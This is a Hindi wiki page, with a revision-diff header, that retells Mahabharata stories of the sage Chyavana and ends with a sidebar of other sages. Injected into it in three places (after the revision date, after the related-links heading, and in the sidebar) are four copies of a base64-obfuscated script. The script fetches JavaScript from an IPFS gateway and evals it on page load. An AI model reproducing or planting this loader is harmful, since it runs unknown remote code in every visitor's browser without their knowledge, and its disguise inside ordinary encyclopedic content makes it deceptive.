"च्यवन" के अवतरणों में अंतर
छो (Text replace - 'यहां' to 'यहाँ') |
अश्वनी भाटिया (चर्चा | योगदान) |
||
पंक्ति ७: | पंक्ति ७: | ||
==टीका-टिप्पणी== | ==टीका-टिप्पणी== | ||
<references/> | <references/> | ||
+ | ==सम्बंधित लिंक== | ||
+ | {{ॠषि-मुनि2}} | ||
+ | {{ॠषि-मुनि}} | ||
[[en:Chyavana]] | [[en:Chyavana]] | ||
[[Category: कोश]] | [[Category: कोश]] | ||
[[Category:ॠषि मुनि]] | [[Category:ॠषि मुनि]] | ||
− | |||
− | |||
− | |||
[[Category:पौराणिक]] | [[Category:पौराणिक]] | ||
__INDEX__ | __INDEX__ |
०६:४४, ८ जुलाई २०१० का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
च्यवन / Chyavana
- भृगु मुनि और पुलोमा के पुत्र च्यवन एक महान ॠषि थे। इनके पुत्र का नाम और्व और पत्नी का नाम आरुषी था। इन्होंने राजा शर्याति की पुत्री सुकन्या से भी विवाह किया।
- च्यवन ने महान व्रत का आश्रय लेकर जल के भीतर रहना आरंभ कर दियां वे गंगा-यमुना-संगम स्थल पर रहते थे। वहां उनकी जलचरों से प्रगाढ़ मैत्री हो गयी। एक बार मछवाहों ने मछलियां पकड़ने के लिए जाल डाला तो मत्स्यों सहित च्यवन ऋषि भी जाल में फंस गये। नदी से बाहर निकलने पर उन्हें देख समस्त मछवाहे उनसे क्षमा मांगने लगे। च्यवन ने कहा कि उनके प्राण मत्स्यों के साथ ही त्यक्त अथवा रक्षित रहेंगे। उस नगर के राजा को जब च्यवन की इस घटना का ज्ञान हुआ तो उसने भी मुनि से उचित सेवा पूछी। मुनि ने उससे मछलियों के साथ-साथ अपना मूल्य मछवारों को देने के लिए कहा। राजा ने पूरा राज्य देना भी स्वीकार कर लिया किंतु च्यवन उसे अपने समकक्ष मूल्य नहीं मान रहे थे। तभी गौर के पेट से जन्में गोताज मुनि उधर आ पहुंचे। उन्होंने राजा नहुष से कहा-'जिस प्रकार च्यवन अमूल्य हैं, उसी प्रकार गाय भी अमूल्य होती है, अत: आप उनके मूल्यस्वरूप एक गौर दे दीजिए।' राजा के ऐसा ही करने पर ज्यवन प्रसन्न हो गये। मछवाहों ने क्षमायाचना सहित वह गाय च्यवन मुनि को ही समर्पित कर दी तथा उनके आशीर्वाद से वे लोग मछलियों के साथ ही स्वर्ग सिधार गये। च्यवन तथा गोताज अपने-अपने आश्रम चले गये।
- एक बार च्यवन मुनि को यह ज्ञात हुआ कि उनके वंश में कुशिक वंश की कन्या के संबंध से क्षत्रियत्व का दोष आनेवाला है। अत: उन्होंने कुशिक वंश को भस्म करने की ठान ली। वे राजा कुशिक के यहाँ अतिथि रूप में गये। राजा-रानी उनकी सेवा में लग गये। उन दोनों से यह कहकर कि वे उन्हें जगाये नहीं और उनके पैर दबाते रहें- वे सो गये। इक्कीस दिन तक वे लगातार एक करवट सोते रहे और राजा-रानी उनके पैर दबाते रहें फिर वे अंतर्धान हो गये। पुन: प्रकट हुए और इसी प्रकार वे दूसरी करवट सो गये। जागने पर भोजन में आग लगा दी। तदनंतर एक गाड़ी में दान, युद्ध इत्यादि की विपुल सामग्री भरकर उसमें राजा-रानी को जोतकर सवार हो गये तथा राजा-नारी पर चाबुक से प्रहार करते रहे। इस प्रकार के अनेक कृत्य होने पर भी जब राजा कुशिक तथा रानी क्रोध अथवा विकार से अभिभूत नहीं हुए तो च्यवन उनपर प्रसन्न हो गये। उन्हें गाड़ी से मुक्त कर अगले दिन आने के लिए कहा और राजमहल में भेज दिया तथा स्वयं गंगा के किनारे रूक गये। अगले दिन वहां पहुंचकर राजा-रानी ने एक अद्भुत स्वर्णमहल देखा जो चित्रविचित्र उपवन से घिरा था। उसके चारों ओर छोटे-छोटे महल तथा मानव-भाषा बोलनेवाले पक्षी थे। दिव्य पलंग पर च्यवन ऋषि लेटे थे। राजा-रानी मोह में पड़ गये। च्यवन ने उन दोनों को अपने आने का उद्देश्य बताकर कहा कि उनसे वे इतने प्रसन्न हुए हैं कि वे उनके विना मांगे ही इच्छित वर देंगे। तदनुसार राजा कुशिक की तीसरी पीढ़ी से कौशिक वंश (ब्राह्मणों का एक वंश) प्रारंभ हो जायेगा। च्यवन ऋषि बोले-'चिरकाल से भृगुवंशी लोगों के यजमान क्षत्रिय रहे हैं किंतु भविष्य में उनमें फूट पड़ेगी। मेरे वंश में 'ऊर्व' नाम का तेजस्वी बालक त्रिलोक-संहार के लिए अग्नि की सृष्टि करेगा। ऊर्व के पुत्र ऋचीक होंगे। वे तुम्हारी पौत्री (गाधि की पुत्री) से विवाह करके ब्राह्मण-पुत्र को जन्म देंगे जिसका पुत्र क्षत्रिय होगा। ऋचीक की कृपा से तुम्हारे वंश गाधि को विश्वामित्र नामक ब्राह्मण-पुत्र की प्राप्ति होगी। जो कुछ दिव्य तुम यहाँ देख रहे हो, वह स्वर्ग की एक झलक मात्र है। इतना कहकर ऋषि ने उन दोनों से विदा ली। [१]
टीका-टिप्पणी
- ↑ महाभारत, दान धर्म पर्व, अध्याय 50-56,अध्याय 156, श्लोक 17-35
सम्बंधित लिंक
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<sidebar>
- सुस्वागतम्
- mainpage|मुखपृष्ठ
- ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
- विशेष:Contact|संपर्क
- समस्त श्रेणियाँ|समस्त श्रेणियाँ
- SEARCH
- LANGUAGES
__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ॠषि-मुनि
- अंगिरा|अंगिरा
- अगस्त्य|अगस्त्य
- अत्रि|अत्रि
- अदिति|अदिति
- अनुसूया|अनुसूया
- अपाला|अपाला
- अरुन्धती|अरुन्धती
- आंगिरस|आंगिरस
- उद्दालक|उद्दालक
- कण्व|कण्व
- कपिल|कपिल
- कश्यप|कश्यप
- कात्यायन|कात्यायन
- क्रतु|क्रतु
- गार्गी|गार्गी
- गालव|गालव
- गौतम|गौतम
- घोषा|घोषा
- चरक|चरक
- च्यवन|च्यवन
- त्रिजट मुनि|त्रिजट
- जैमिनि|जैमिनि
- दत्तात्रेय|दत्तात्रेय
- दधीचि|दधीचि
- दिति|दिति
- दुर्वासा|दुर्वासा
- धन्वन्तरि|धन्वन्तरि
- नारद|नारद
- पतंजलि|पतंजलि
- परशुराम|परशुराम
- पराशर|पराशर
- पुलह|पुलह
- पिप्पलाद|पिप्पलाद
- पुलस्त्य|पुलस्त्य
- भारद्वाज|भारद्वाज
- भृगु|भृगु
- मरीचि|मरीचि
- याज्ञवल्क्य|याज्ञवल्क्य
- रैक्व|रैक्व
- लोपामुद्रा|लोपामुद्रा
- वसिष्ठ|वसिष्ठ
- वाल्मीकि|वाल्मीकि
- विश्वामित्र|विश्वामित्र
- व्यास|व्यास
- शुकदेव|शुकदेव
- शुक्राचार्य|शुक्राचार्य
- सत्यकाम जाबाल|सत्यकाम जाबाल
- सप्तर्षि|सप्तर्षि
</sidebar>